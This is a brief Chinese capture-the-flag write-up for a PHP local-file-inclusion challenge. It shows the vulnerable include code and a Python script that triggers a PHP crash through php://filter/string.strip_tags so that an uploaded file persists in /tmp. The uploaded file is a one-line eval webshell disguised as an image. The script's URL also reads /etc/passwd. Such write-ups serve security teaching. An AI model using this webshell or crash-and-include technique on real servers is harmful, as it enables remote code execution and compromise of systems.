直接读源码
抓包
直接传递hash值
?pass=fa25e54758d5d5c1927781a6ede89f8a
看到响应中多了内容
访问后看到是文件包含
用伪协议读flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
用伪协议读了其他文件也没找到flag,有点没思路,参考wp。
看wp,可以利用php://filter/string.strip_tags导致php崩溃,同时可上传文件保存在/tmp目录来上传木马.
解析
用python脚本上传文件并写入一句话
import requests
url ="http://7b1ba541-12aa-46b8-ad49-303ade55342d.node3.buuoj.cn/flflflflag.php?" \
"file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = b"<?php @eval($_POST['pass']);?>"
file = [('file',("hack.jpg",payload,"image/jpeg"))]
res = requests.post(url=url,files=file)
print(res.text)
成功后要爆破文件名,但这题有dir.php
用file读取我们上传的文件,找到flag